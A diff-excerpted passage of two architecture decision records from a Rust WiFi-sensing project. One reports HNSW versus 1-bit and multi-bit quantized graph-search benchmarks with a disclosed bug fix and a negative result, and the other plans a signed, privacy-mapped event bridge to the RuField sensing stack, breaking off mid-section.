- **Search.** Greedy-descend layers `>0`, then best-first beam search of width `ef` on layer 0; return the closest `k`. Iterative (explicit heaps + visited set) — **no recursion**, bounded by the beam and the visited set.
|
||||
- **Determinism.** Level assignment is the only randomness and is driven by a **seeded SplitMix64** (the exact pattern from `rotation.rs`) — never `Date::now`/OS RNG/unseeded `rand`. Same `(seed, params, insertion order)` ⇒ bit-identical graph and search (pinned by `hnsw_is_deterministic_for_seed`).
|
||||
- **Robustness.** Empty index, `k==0`, `k>n`, single node, zero-dim, ragged query, `ef<k` all return cleanly — pinned by `*_no_panic` tests.
|
||||
|
||||
### 3.2 `hnsw_quantized.rs` — the SymphonyQG-style variant
|
||||
|
||||
Same graph as the float index (identical seed/structure — the **only** variable is the scoring), plus a per-node `ceil(D/8)`-byte 1-bit Pass-2 sign code (`D = next_pow2(dim)`). `search_quantized(query, k, ef, rerank)`:
|
||||
1. Encode the query to its 1-bit code (one rotation + sign pack).
|
||||
2. Greedy-descend + beam-search the graph scoring every visited node by **POPCNT Hamming** (query-code XOR node-code) — no per-dim float work.
|
||||
3. **Exact-float rerank** the top `rerank` Hamming candidates with the true L2/cosine metric, return the best `k`.
|
||||
|
||||
### 3.3 Security / robustness
|
||||
|
||||
Both indices: bounded **iterative** traversal (no unbounded recursion), no panic on empty/degenerate/ragged/zero-dim input (the metric compares over the shorter prefix; zero-norm cosine returns max distance, not NaN). The 1-bit encode handles padded dims via the existing `Rotation::apply_padded`.
|
||||
|
||||
---
|
||||
|
||||
## 4. The bug the correctness gate caught (disclosed, not hidden)
|
||||
|
||||
The first run of the recall@10 gate **panicked**: `index out of bounds: the len is 33 but the index is 33` in `search_layer`. Root cause: `insert` wired bidirectional edges (`links[nbr][l].push(id)`) **before** pushing the new node's own `links[id]` row into the array. A later traversal step in the *same* insert could hop to a neighbour that now pointed at `id` and read `links[id]` — which did not exist yet. Fix: push the node (with empty per-layer link lists) into `vectors`/`links`/`levels` **up front**, then wire edges into its existing slot. The new node has no incoming edges and empty outgoing lists until wiring, so it is unreachable by the searches that run first — pushing early is safe and keeps every index valid. This is exactly why the recall gate exists: a silent low-recall graph and an out-of-bounds panic are both "slop" the gate forces into the open.
|
||||
|
||||
---
|
||||
|
||||
## 5. The SymphonyQG claim being tested
|
||||
|
||||
| Source | Claim | Grade (before this ADR) |
|
||||
|--------|-------|-------------------------|
|
||||
| SymphonyQG, SIGMOD 2025 | **3.5–17× QPS over HNSW at equal recall**, via quantization unified with graph traversal, pure-CPU/edge-portable | **CLAIMED** — author-measured, *not reproduced on our hardware (no HNSW baseline existed)* |
|
||||
|
||||
The bet: a quantized traversal score is cheap enough — and accurate enough to keep the beam on-path — that you pay far less per visited node and recover the small recall loss with a final exact rerank.
|
||||
|
||||
---
|
||||
|
||||
## 6. MEASURED results
|
||||
|
||||
Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 queries, K=10, noise=0.35**, L2 metric, `M=16`, `ef_construction=200`. Graph seed `0x6261524741484E53`, rotation seed `0x5EEDC0DE12345678`. `--release`, warm wall-clock on the test machine. (The fixture and both indices are shared by the criterion bench.)
|
||||
|
||||
| Method | recall@10 | QPS | latency (µs) |
|
||||
|--------|-----------|-----|--------------|
|
||||
| **linear scan (brute force)** | 1.0000 | 1,022 | 978 |
|
||||
| **float-HNSW** ef=16 | 0.9945 | **25,744** | 39 |
|
||||
| float-HNSW ef=32 | 0.9990 | 21,470 | 47 |
|
||||
| float-HNSW ef=64 | 1.0000 | 18,779 | 53 |
|
||||
| float-HNSW ef=128 | 1.0000 | 12,722 | 79 |
|
||||
| float-HNSW ef=256 | 1.0000 | 5,742 | 174 |
|
||||
| quant-HNSW ef=32 rr=20 | 0.1620 | 30,005 | 33 |
|
||||
| quant-HNSW ef=32 rr=100 | 0.2615 | 36,388 | 28 |
|
||||
| quant-HNSW ef=64 rr=100 | 0.4865 | 20,603 | 49 |
|
||||
| quant-HNSW ef=128 rr=100 | 0.6785 | 13,718 | 73 |
|
||||
| quant-HNSW ef=256 rr=100 | **0.7380** | 6,578 | 152 |
|
||||
|
||||
### Equal-recall QPS ratios
|
||||
|
||||
| Target recall | Fastest float-HNSW | Fastest quant-HNSW meeting it | quant/float | float/linear |
|
||||
|---------------|--------------------|-------------------------------|-------------|--------------|
|
||||
| ≥ 0.90 | ef=16 → 25,744 QPS | **none** (best quant recall = 0.738) | — | **25.19×** |
|
||||
| ≥ 0.95 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
|
||||
| ≥ 0.99 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
|
||||
|
||||
---
|
||||
|
||||
## 7. Honest verdict
|
||||
|
||||
**The HNSW baseline is a decisive win over linear scan: ~25× QPS at recall ≥ 0.99** (ef=16: 0.9945 recall, 25,744 QPS vs linear 1,022 QPS). The correctness gate (recall@10 ≥ 0.95 vs brute force, both L2 and cosine) holds. This is the baseline ADR-156 §5 #1 said did not exist — it now does.
|
||||
|
||||
**The SymphonyQG-style quantized variant does NOT beat float HNSW at our scale — direction REFUTED at N=10k.** The 1-bit Hamming traversal is too coarse: its best achievable recall is **0.738** (ef=256, rr=100), and it never reaches even the 0.90 equal-recall point where a fair QPS comparison could be made. Where the quantized score *is* faster (ef=32: ~30–36k QPS, beating float's 25.7k), its recall collapses to 0.16–0.26 — a meaningless win. There is **no equal-recall operating point** at which quantized is faster, so the SymphonyQG 3.5–17× claim is **not reproduced** by our 1-bit construction here.
|
||||
|
||||
**Why** (so the negative is understood, not just stated):
|
||||
1. The 1-bit sign code is a **coarse angle proxy** — ADR-156 §10 already measured it at ~46% strict-K coverage. Driving graph *traversal* by that coarse score steers the beam onto the wrong nodes, and the exact-float rerank can only recover what the beam actually visited. At N=10k, near-neighbours have nearly-identical sign codes, so Hamming cannot separate them.
|
||||
2. At this scale **float distance is already cheap**: one 128-d L2 is a handful of µs; the per-node float compute the quantization saves is small relative to the recall it costs. SymphonyQG's win shows up at **much larger N** (millions), where (a) the float-distance fraction of query time dominates and (b) their *multi-bit RaBitQ-fused* code (not our 1-bit sign code) keeps recall high. **Expected crossover: large N + a higher-bit code.** ADR-156 §10 already measured that a ≤4-bit code reaches ~74% strict coverage vs 1-bit's ~46%, so a multi-bit traversal score is the obvious next lever — deferred, not claimed.
|
||||
|
||||
**Caveat (stated plainly):** this is **our** HNSW + **our** 1-bit quantization, not SymphonyQG's system. We tested the *direction* of the claim ("does quantized traversal + rerank beat float HNSW at equal recall?") on our hardware/data and got a **measured no at N=10k**. That neither confirms nor refutes SymphonyQG's own published numbers on their system/scale — it refutes the direction *for our construction at our scale*, and identifies the two levers (scale, code bit-depth) a real reproduction would need.
|
||||
|
||||
---
|
||||
|
||||
## 8. Validation
|
||||
|
||||
- **`cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --lib`** — **156 passed / 0 failed, 1 ignored** (M1 added 20: 10 `hnsw`, 7 `hnsw_quantized`, 3 `ann_measure`; M2 added 5 multi-bit/scaling tests; `scaling_report` is the `#[ignore]` measurement that produced the §11 table).
|
||||
- **`cargo test --workspace --no-default-features`** — GREEN (see §10 for the count).
|
||||
- **Correctness gate verified to bite:** the recall@10 gate **panicked** on the first (buggy) insert path (§4); after the fix it passes at 0.99+ recall (L2 and cosine).
|
||||
- **`cargo test -p wifi-densepose-ruvector --no-default-features --release ann_bench_report -- --nocapture`** — prints the §6 table; the numbers above are copied verbatim from that run.
|
||||
- **`cargo bench -p wifi-densepose-ruvector --bench ann_bench`** — compiles and runs the same fixture through criterion.
|
||||
- **`python archive/v1/data/proof/verify.py`** — **VERDICT: PASS** (the Rust ANN work is independent of the Python signal-proof pipeline; hash unchanged).
|
||||
|
||||
---
|
||||
|
||||
## 9. Consequences
|
||||
|
||||
**Positive.** ruvector now has a real, deterministic, pure-Rust HNSW graph index (25× over linear scan at high recall) usable by the AETHER re-ID / sketch-prefilter path — the ANN substrate ADR-156 §5 #1 wanted. The SymphonyQG claim is no longer CLAIMED-only: we built the missing baseline and **measured** the direction, with the bug-caught-by-the-gate disclosed.
|
||||
|
||||
**Negative / honest.** The 1-bit quantized variant is **not** an equal-recall QPS win at our scale; it is shipped as a measured experiment with a clearly-stated ceiling, not as a recommended default. Anyone reaching for it must read §7.
|
||||
|
||||
**Resolved by Milestone-2 (§11, MEASURED — no longer deferred).**
|
||||
- **Multi-bit traversal score** — implemented (`b ∈ {1,2,4}` bits/dim over the Pass-2 rotated coordinates) and measured. It *does* lift quantized recall (at N=10k, b=4 reaches the 0.90 equal-recall regime where 1-bit could not), but still does not beat float HNSW QPS.
|
||||
- **Large-N crossover measurement** — measured at N ∈ {10k, 100k, 250k}. **The predicted large-N crossover did NOT materialize — it moved the wrong way** (quant recall *collapses* as N grows). See §11.
|
||||
|
||||
**Deferred (not silently dropped).**
|
||||
- **Wiring HNSW into the live re-ID path** (AETHER hot-cache / sketch prefilter) behind a flag.
|
||||
- **N ≥ 1M + SymphonyQG's exact RaBitQ-fused construction** — our impl refutes the *direction* at ≤250k; a true 1:1 reproduction at million-scale with their fused codes remains a separate, larger build.
|
||||
|
||||
---
|
||||
|
||||
## 10. What changed, file by file
|
||||
|
||||
- `hnsw.rs` (new) — float HNSW: graph, seeded-deterministic level assignment, Algorithm-2 beam search, Algorithm-4 neighbour selection, L2/cosine, brute-force ground truth, full degenerate-case guards; 10 tests incl. the recall@10 correctness gate (L2 + cosine) and determinism. The insert-order bug fix (§4).
|
||||
- `hnsw_quantized.rs` (new) — SymphonyQG-style quantized-traversal index over the shared graph: 1-bit Pass-2 code per node, Hamming-scored greedy + beam, exact-float rerank; 7 tests incl. the rerank-recall gate and determinism.
|
||||
- `ann_measure.rs` (new) — shared deterministic fixture + recall/QPS measurement for linear / float-HNSW / quant-HNSW, the `ann_bench_report` test (the §6 source of truth), `ANN_BENCH_N` override.
|
||||
- `benches/ann_bench.rs` (new) + `Cargo.toml` `[[bench]]` — criterion bench over the same fixture/indices.
|
||||
- `lib.rs` — `pub mod hnsw / hnsw_quantized / ann_measure`; re-export `HnswIndex`, `HnswParams`, `Metric`, `QuantizedHnswIndex`.
|
||||
- `ADR-156-ruvector-fusion-beyond-sota.md` §5 #1 + §8 backlog — SymphonyQG regraded **CLAIMED → MEASURED-direction-tested (refuted at N=10k for our 1-bit construction)**, pointing here.
|
||||
- `CHANGELOG.md` — `[Unreleased]` entry.
|
||||
|
||||
---
|
||||
|
||||
## 11. Milestone-2 — multi-bit traversal + large-N scaling study (MEASURED)
|
||||
|
||||
M1 (§7) refuted the SymphonyQG direction at N=10k with a 1-bit code, and *predicted* a crossover at "large N + a higher-bit code." M2 builds both levers and measures them — so the prediction is tested, not assumed.
|
||||
|
||||
**Built:** `hnsw_quantized.rs` generalized from 1-bit to a **`b`-bit-per-dimension** code (`b ∈ {1,2,4}`, a mid-rise quantizer over the same `RANGE=3.0` rotated coordinates as ADR-156 §10's `measure_multibit`); `ann_measure.rs` gained `run_scaling_study` / `best_float_op` / `best_quant_op` + a deterministic `scaling_report` (`#[ignore]`, `--release`) and a CI-safe `scaling_study_small_is_consistent`. Memory: **16 / 32 / 64 bytes/node** for b = 1 / 2 / 4.
|
||||
|
||||
**MEASURED** (dim=128, 64 clusters, 200 queries, K=10, L2, M=16, ef_construction=200, seeded, `--release`, this box; target recall ≥ 0.90):
|
||||
|
||||
| N | bits | B/node | quant best recall | float @ target | quant @ target | quant/float |
|
||||
|--:|--:|--:|--:|--|--|--:|
|
||||
| 10,000 | 1 | 16 | 1.000 | 23,155 QPS @ r=0.995 | 4,482 QPS @ r=0.965 | **0.19×** |
|
||||
| 10,000 | 2 | 32 | 1.000 | 23,155 QPS @ r=0.995 | 10,658 QPS @ r=0.908 | **0.46×** |
|
||||
| 10,000 | 4 | 64 | 1.000 | 23,155 QPS @ r=0.995 | 11,217 QPS @ r=0.946 | **0.48×** |
|
||||
| 100,000 | 1 / 2 / 4 | 16/32/64 | 0.207 / 0.346 / 0.788 | 2,493 QPS @ r=0.938 | none (never ≥ 0.90) | — |
|
||||
| 250,000 | 1 / 2 / 4 | 16/32/64 | 0.108 / 0.210 / 0.624 | 1,593 QPS @ r=0.925 | none | — |
|
||||
|
||||
**Verdict — NO crossover at any measured (N, b) up to 250k, and the trend REFUTES the large-N prediction:**
|
||||
1. **Multi-bit helps at small N but not enough.** At N=10k, more bits lift the equal-recall QPS ratio 0.19× → 0.46× → 0.48× (and let b≥2 actually *reach* the 0.90 bar that 1-bit missed) — but quant stays **below 1.0×**, i.e. slower than float HNSW at equal recall.
|
||||
2. **The predicted large-N crossover moved the wrong way.** As N grows 10k → 100k → 250k, quant's best achievable recall **collapses** (b=4: 1.000 → 0.788 → 0.624) and never reaches the 0.90 comparison point, while float HNSW holds ≥0.92. A denser graph packs near-neighbours whose low-bit codes are nearly identical, so the approximate score steers the beam off-path faster than the bigger float-distance savings can repay. The "crossover at millions" intuition is **not supported by our construction's trend** — if anything it diverges.
|
||||
3. **Caveat unchanged:** this is our HNSW + our per-node multi-bit code, not SymphonyQG's RaBitQ-fused graph. The result refutes the *direction* for our construction at ≤250k; it does not disprove their published numbers on their system at their scale. A real 1:1 reproduction is the deferred million-scale build.
|
||||
|
||||
This is a **published negative with the mechanism explained** — the multi-bit + scaling levers were built and measured rather than asserted, and the honest outcome (no crossover, trend diverging) is recorded, not hidden.
|
||||
@@ -0,0 +1,207 @@
|
||||
# ADR-262: RuField MFS ↔ RuView integration — a live SensingServerAdapter, a privacy/provenance bridge, MAPPED not papered-over
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Proposed — **P1 + P3 implemented** (live `/api/field` + `/ws/field`; P3 signs with a **dedicated dev/sensing key**, deferring the §8 Q1 `cog-ha-matter` key-ownership decision to P2) |
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codebase target** | New thin bridge crate `wifi-densepose-rufield` (v2 workspace member); taps `wifi-densepose-sensing-server` emit path + `wifi-densepose-engine` `TrustedOutput`; depends on `vendor/rufield/crates/rufield-*` via path (the `vendor/rvcsi` pattern) |
|
||||
| **Relates to** | ADR-260 (RuField MFS spec + v0.1 reference stack), ADR-261 (RuVector graph-ANN), ADR-141 (BFLD privacy control-plane / modes / attestation), ADR-137 (fusion-engine quality scoring / contradiction), ADR-032 (multistatic mesh security hardening / witness), ADR-116 (cog tamper-evident audit log — `cog-ha-matter` SHA-256+Ed25519), ADR-095/096 (`rvcsi` vendored-submodule precedent) |
|
||||
| **Scope** | Decide **how** RuView's live WiFi-CSI sensing-server emits RuField `FieldEvent`s, **whether** RuView's ruvsense fusion composes with or is wrapped by rufield-fusion, and **how** to reconcile RuView's existing privacy/witness/provenance machinery with RuField's P0–P5 + ed25519 `ProvenanceReceipt`. The privacy/provenance reconciliation is the crux. |
|
||||
|
||||
---
|
||||
|
||||
## 0. PROOF discipline (this ADR's contract)
|
||||
|
||||
This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — every "RuView already does X" carries a `file:line`, and every external/SOTA claim is graded.
|
||||
|
||||
- **No accuracy is claimed.** RuField v0.1 is **SYNTHETIC** end-to-end by its own admission (ADR-260 "Honest statement", line 386–390: *"Every metric here is simulator-based. No ESP32 CSI, mmWave, or thermal capture was used."*). RuView's only real-CSI rufield path today would be **replay of recorded `.csi.jsonl`, unlabeled** — `rufield-adapters::CsiReplayAdapter`'s own module doc (`vendor/rufield/crates/rufield-adapters/src/csi_replay.rs:19-31`) states it is *"real signal, replay from file not live hardware, unlabeled ⇒ proxy not validated accuracy."* This ADR therefore proposes **plumbing**, and grades its own claims as "ARCHITECTURE" (a design decision, testable by a round-trip/compile gate) vs "ACCURACY" (which it explicitly does not assert).
|
||||
- The privacy/provenance section reports an **honest conflict**: RuView has **three** witness mechanisms across two hash algorithms, and **two** privacy enums, none of which map 1:1 onto RuField's P0–P5. We map them and recommend the cleanest reconciliation rather than asserting they already align.
|
||||
- Each phase below ships an **independently testable gate** (a round-trip test, a privacy-monotonicity test, a signature-verify test) so the integration is provable, not aspirational.
|
||||
|
||||
---
|
||||
|
||||
## 0.1 Implementation status
|
||||
|
||||
**P1 (§4) is implemented** as the `wifi-densepose-rufield` bridge crate (`v2/crates/wifi-densepose-rufield/`, a new v2 workspace member; path-deps the `vendor/rufield` submodule per §5.4):
|
||||
|
||||
- **Input** — `SensingSnapshot` (owned primitives mirroring `SensingUpdate` features/classification/signal_field joined with the `TrustedOutput` `trust_class`/`demoted`/`identity_bound`); the bridge does **not** depend on `wifi-densepose-sensing-server` (anti-corruption layer).
|
||||
- **Conversion** — `snapshot_to_field_event(&snap, &Signer)` emits a signed `FieldEvent` (`Modality::WifiCsi`, axis `[Frequency]`, real `timestamp_ns`); position derived from the signal-field peak when present (never fabricated); real sha256 `ProvenanceRef` + ed25519 signature, `synthetic = false`.
|
||||
- **Privacy (§3.3 crux)** — `map_privacy()` maps by information content, **fail-closed**: `Raw → P0`, `Derived → P4` (or `P5` if identity-bound — **never P1**), `Anonymous → P2`, `Restricted → P2`; a `demoted` cycle floors egress to ≥ P2.
|
||||
- **Gates that pass** (`tests/p1_gates.rs`, 15 tests / 0 failed = 5 unit + 9 integration + 1 doc): round-trip (snapshot → `FieldEvent` → serde → equal); `is_fusable` (verified ed25519 receipt); `RuFieldFusion::ingest` accept + `infer()` runs; **privacy-safety** (`gate_privacy_safety_derived_never_maps_to_low_privacy` — `Derived → P4/P5`, never P1; full §3.3 table; fail-closed demotion); determinism (same snapshot + same signer seed → byte-identical event).
|
||||
|
||||
**P3 (§4) is implemented** as the live RuField surface in `wifi-densepose-sensing-server` (the bridge is now wired into the running server):
|
||||
|
||||
- **Tap** — at the ESP32 governed-trust cycle (`main.rs` `observe_cycle` ~`:5886` / `SensingUpdate` build ~`:5938`), a new `emit_rufield_event` joins the cycle's `SensingUpdate` (features / classification / signal_field) with the engine's recorded `effective_class` / `demoted` trust state into a `wifi_densepose_rufield::SensingSnapshot`, then `snapshot_to_field_event(&snap, &signer)`. Existing endpoints (`/ws/sensing` etc.) are **unchanged** — purely additive.
|
||||
- **Surface** — `GET /api/field` (latest signed `FieldEvent`s + signer pubkey + a `dev_signing_key` flag) and `GET /ws/field` (broadcast stream, mirroring `/ws/sensing`), both mounted on the HTTP port and `/ws/field` also on the WS port. A small bounded ring buffer (`FIELD_RING_CAPACITY = 64`) holds recent **network-surfaced** events. New handler code lives in `src/rufield_surface.rs`, not in the 8k-line `main.rs`.
|
||||
- **Signer (defers the P2 key decision)** — a **dedicated standalone `Signer`** held in server state, seeded from `WDP_RUFIELD_SIGNING_SEED` (64-hex or ≥32-byte value), else a deterministic dev default with a logged `WARN`. Reusing the `cog-ha-matter` Ed25519 key (§8 Q1) is the **deferred P2** decision — P3 uses a standalone sensing key so it does not pre-empt that call.
|
||||
- **Egress privacy (fail-closed)** — `network_egress_allowed` is *stricter* than `DefaultPrivacyGuard` for an unattended live surface: only **P1/P2** leave the box; P0 (raw) and P3/P4/P5 (identity/biometric/aggregate above the default P2 ceiling) are held edge-local. A `Derived` cycle maps to P4/P5 and is therefore **never** surfaced. No-presence cycles emit nothing (no phantom events).
|
||||
- **Gates that pass** (`tests/rufield_surface_test.rs`, 4 integration via `tower::oneshot` + 4 module unit, 0 failed): a well-formed **signed** event (`Modality::WifiCsi`, P2 not P1, `is_fusable` ed25519-verified, real timestamp); **empty cycle → no phantom**; **privacy-safety** — an injected `Derived` trust never surfaces on `/api/field`; a mixed stream surfaces only egress-safe events.
|
||||
|
||||
**Deferred:** the §3.3 *provenance carrier* recommendation (reuse the `cog-ha-matter` SHA-256+Ed25519 chain + embed the BLAKE3 engine witness) is **not** in P1/P3 — both take a dedicated `Signer` (the §8 open question 1 key-ownership decision is unresolved; P3 uses a standalone dev/sensing key precisely so it does not pre-empt P2). P2's `cog-ha-matter` key reuse + BLAKE3-embed, and P4 (multi-modality), remain future work. **No accuracy is claimed** (§0 / §6) — P1/P3 are tested plumbing on a live endpoint + a safe privacy mapping; the live surface is single-link CSI with its existing caveats (no validated room-coordinate accuracy — `field_localize`).
|
||||
|
||||
---
|
||||
|
||||
## 1. Context — two architectures, mapped
|
||||
|
||||
### 1.1 RuField MFS (ADR-260, `vendor/rufield/`)
|
||||
|
||||
A standalone pure-Rust Cargo workspace (serde, serde_json, toml, sha2, ed25519-dalek; **no tch/ndarray/candle**), vendored here as a git submodule (`git submodule status vendor/rufield` → `ba66e2e…`), **not** a v2 workspace member — exactly the `vendor/rvcsi` precedent (ADR-095/096). **Not published to crates.io**: every internal dep is a path dep with a nominal `version = "0.1.0"` (`vendor/rufield/Cargo.toml:31-37`); the `docs.rs/rufield-*` URLs are aspirational.
|
||||
|
||||
The data model (graded ARCHITECTURE, evidence read directly):
|
||||
|
||||
- **`FieldEvent`** (`vendor/rufield/crates/rufield-core/src/event.rs:96-112`): `spec_version, event_id, timestamp_ns: u64, sensor: SensorDescriptor, tensor: FieldTensor, observation: Observation, provenance: ProvenanceRef`.
|
||||
- **`Observation`** (`event.rs:25-51`): `zone_id, space_cell, range_m, velocity_mps, motion_vector, confidence: f32, features: BTreeMap<String,f32>` (the derived P1 scalars the fusion engine actually reads), `labels: Vec<String>` (ground-truth, **never read by fusion**), `privacy_class: PrivacyClass`.
|
||||
- **`PrivacyClass`** (`rufield-core/src/privacy.rs:8-25`): `P0..P5`, `#[serde(rename_all="UPPERCASE")]`, `Ord` by declaration order so **P0 < P1 < … < P5** — higher = more private; `level()->u8` returns 0..=5 (`privacy.rs:27-40`).
|
||||
- **`ProvenanceRef`** (on-wire, `event.rs:73-93`): `raw_hash, firmware_hash` (`sha256:…`), `model_id, calibration_id, synthetic: bool`, optional `signature_hex` / `signer_pubkey_hex` (detached ed25519).
|
||||
- The four traits (`rufield-core/src/traits.rs`): **`FieldAdapter`** (`:26-38`, `next_event() -> Result<Option<FieldEvent>>`), **`FieldEncoder`** (`:41-51`, **unimplemented in v0.1** — an open seam), **`FusionEngine`** (`:54-63`, `ingest(event)` + `infer(&query)`), **`PrivacyGuard`** (`:86-97`, `authorize(class, Destination, consent, identity_bound) -> PrivacyDecision{Allow|Deny|RequiresConsent}`).
|
||||
- **`CsiReplayAdapter`** (`rufield-adapters/src/csi_replay.rs`): constructed from **already-loaded text** (`from_jsonl(&str)` `:249-251`; `from_jsonl_with(text, device_id, &[u8;32])` `:254-323`) — **not** a path/`Read`/`Iterator`. Deserializes `CsiFrameRecord { timestamp: f64 (seconds), subcarriers: Vec<f64> }` (`:74-80`), buffers all frames into a `Vec<CsiFrame>`, then streams via a cursor (`next_event` `:550-557`). Maps each frame → `FieldEvent` with `Modality::WifiCsi`, axes `[Frequency]`, a Welford motion proxy, observation `privacy_class = P2 if presence else P1` (`:439-443`), real `sha256` raw-hash, and a **real ed25519 signature** (`signer.sign_event` `:507-510`). `max_privacy_class = P2`.
|
||||
- **`RuFieldFusion`** (`rufield-fusion/src/engine.rs:55-78`): `ingest()` **rejects non-fusable events on its first line** — `if !is_fusable(&event) { return Err(NotFusable) }` (`:212-215`) — then reads `event.observation.features` into a bounded temporal window; `infer()` applies TOML rules (`WeightedBayes` noisy-OR / `TemporalWindow`) → `Vec<FieldInference>`. TOML rule struct: `inputs, method, feature, threshold, privacy_max, window_ms, requires_consent` (`rules.rs:17-35`).
|
||||
- **`is_fusable`** (`rufield-provenance/src/lib.rs:179-184`): `synthetic == true` **OR** `verify_event().is_ok()` — the §11 invariant. Signing key is `ed25519_dalek 2.1`, deterministic from a 32-byte seed; raw hash is `sha256_hex` → `"sha256:<hex>"` (`:26-35`).
|
||||
- **`DefaultPrivacyGuard`** (`rufield-privacy/src/lib.rs:38-110`): default `network_max = P2`, `allow_p0_network = false`. P5-no-identity → `Deny`; P4-no-consent → `RequiresConsent`; `EdgeLocal` → `Allow`; `Network` denies P0 and `class > network_max`.
|
||||
- **`rufield-viewer`** (Axum 0.7): **self-contained, consumes `SyntheticSim` only** — all routes are read-only GET/SSE (`GET /api/run`, `GET /events`); **there is no ingest endpoint** (`vendor/rufield/crates/rufield-viewer/src/server.rs:63-72`). Feeding it a live stream requires adding a route.
|
||||
|
||||
### 1.2 RuView (the integration target)
|
||||
|
||||
- **Sensing-server is Axum** (`v2/crates/wifi-densepose-sensing-server/src/main.rs:7498-7629`), two listeners (WS `:8765`, HTTP). CSI does **not** arrive over WS/HTTP — it arrives over **UDP** from ESP32 nodes (`use tokio::net::UdpSocket`, `main.rs:53`; `recv_from` loop `main.rs:5286-5299`), parsed by magic `0xC511_0001` → **`Esp32Frame`** (`types.rs:84-100`: `node_id, n_subcarriers, ppdu_type, amplitudes: Vec<f64>, phases: Vec<f64>`, rssi/freq/sequence) → pushed into per-node `NodeState.frame_history: VecDeque<Vec<f64>>` (`main.rs:441-497`).
|
||||
- **`/ws/sensing` emits a `SensingUpdate`** (`main.rs:267-317`), broadcast over a `tokio::sync::broadcast` channel (`s.tx.send(json)` `main.rs:5938-5991`; the WS handler just subscribes and forwards, `main.rs:3021-3073`). `SensingUpdate` carries `nodes`, `features`, `classification {motion_level, presence, confidence}`, `signal_field`, `persons: Vec<PersonDetection>` (17 COCO keypoints + `position:[f64;3]` from `field_localize`, `main.rs:403-428`), pose, vitals. **`field_localize` (PR #1050) is a module, not a route** (`mod field_localize` `main.rs:17`; honesty caveat `field_localize.rs:16-27` — a single ESP32 link cannot resolve true room position, `position` is "strongest field peak").
|
||||
- **ruvsense fusion is strictly WITHIN-WiFi-modality.** `MultistaticFuser::fuse(&[MultiBandCsiFrame]) -> FusedSensingFrame` (`v2/crates/wifi-densepose-signal/src/ruvsense/multistatic.rs:285-288`) attention-weights **multiple WiFi CSI nodes/viewpoints** (every input is ESP32 CSI; `multistatic_bridge.rs:50-62` builds the frames from `NodeState` amplitude with `HardwareType::Esp32S3`). `coherence_gate.rs:18-37` is the `GateDecision{Accept|PredictOnly|Reject|Recalibrate}`; `pose_tracker.rs:255-263` is the 17-keypoint Kalman tracker with 128-dim AETHER re-ID; `field_model.rs:301-308` does SVD room-eigenstructure perturbation extraction. **No camera/mmWave/audio enters this path** — ruvsense is a multi-link WiFi-CSI fuser.
|
||||
- **The governed-trust cycle** runs in the separate **`wifi-densepose-engine`** crate. `StreamingEngine::process_cycle` (`v2/crates/wifi-densepose-engine/src/lib.rs:409`, `run_cycle` `:434-533`) produces **`TrustedOutput`** (`:82-112`): `semantic_id, quality: QualityScore, effective_class: PrivacyClass, demoted: bool, provenance: SemanticProvenance, witness: [u8;32]` (BLAKE3 over `evidence‖model‖calibration‖privacy_decision‖class`, `witness_of` `:598-613`), `recalibration_recommended`. **Crucially, none of this trust metadata is on the `SensingUpdate` wire today** — it is exposed only out-of-band on `GET /api/v1/status` (`main.rs:4173-4178`) and as a single live effect: `EngineBridge::suppress_raw_outputs()` strips per-node amplitude when `effective_class >= Restricted` (`engine_bridge.rs:240-243`, applied `main.rs:5908-5932`). The honest scope is stated in `engine_bridge.rs:14-27`: the governed engine runs *alongside* the bare fusion path; derived outputs are "published ungoverned."
|
||||
|
||||
---
|
||||
|
||||
## 2. Decision
|
||||
|
||||
1. **Build a thin RuView-side bridge crate `wifi-densepose-rufield`** (a new v2 workspace member) that depends on `vendor/rufield/crates/rufield-core` (+ `rufield-provenance`, `rufield-privacy`, `rufield-fusion`) **via path** — mirroring the `vendor/rvcsi` pattern. RuView does **not** depend on published rufield crates (there are none) and does **not** vendor rufield into the v2 workspace; rufield stays a standalone submodule and the bridge is the only coupling point (an anti-corruption layer).
|
||||
2. **Emit `FieldEvent`s from the live server via an in-process `SensingServerAdapter`**, not by re-using the file-based `CsiReplayAdapter` on the hot path. The bridge taps the existing `SensingUpdate` build site and the `EngineBridge` trust state, joins them, and emits one signed `FieldEvent` per cycle on a new `tokio::broadcast` topic / optional `/ws/field` endpoint. `CsiReplayAdapter` is retained for the **offline/replay** path (recorded `.csi.jsonl` → events) because it already reads RuView's recording format (`recording.rs` writes `{session}.csi.jsonl`).
|
||||
3. **Compose the two fusion engines vertically, do not merge them.** ruvsense stays the **WiFi-modality node** (multi-link fusion → one fused WiFi belief); rufield-fusion sits **above** it as the **cross-modality** graph. ruvsense's `FusedSensingFrame`/`TrustedOutput` becomes one `FieldEvent` (modality `wifi_csi`); rufield fuses it against future mmWave/thermal/`rvcsi` events. They do not conflict because ruvsense has no cross-modality fusion to collide with (§1.2 evidence).
|
||||
4. **Reconcile privacy/provenance with ONE canonical model + a documented mapping** (§3, the crux): RuView's `effective_class` is the **source of truth**, mapped onto RuField `PrivacyClass` at the bridge; RuView's existing **`cog-ha-matter` SHA-256+Ed25519 witness chain** (already RuField's exact crypto) is adopted as the carrier for RuField `ProvenanceReceipt`, with the live BLAKE3 engine witness embedded as a hashed field. We do **not** maintain two parallel signed-receipt systems.
|
||||
|
||||
---
|
||||
|
||||
## 3. Privacy & provenance reconciliation (the crux)
|
||||
|
||||
This is the most important section. RuView and RuField genuinely **overlap and partially conflict**. We map both honestly.
|
||||
|
||||
### 3.1 What RuView actually has (implemented, with evidence)
|
||||
|
||||
- **TWO privacy enums, not one ladder.** `PrivacyClass` — **4 variants** `Raw=0, Derived=1, Anonymous=2, Restricted=3` (`v2/crates/wifi-densepose-bfld/src/lib.rs:103-116`, `#[repr(u8)]`, higher byte = more private, **non-monotonic in information** — `Derived=1` carries *more* identity than `Anonymous=2`). And `PrivacyMode` — **5 variants** `RawResearch, PrivateHome, EnterpriseAnonymous, CareWithConsent, StrictNoIdentity` (`bfld/src/privacy_mode.rs:18-31`), each mapping to a `PrivacyClass` via `target_class()` (`:63-70`; two modes collapse to `Anonymous`).
|
||||
- **THREE witness mechanisms across TWO hash algorithms:**
|
||||
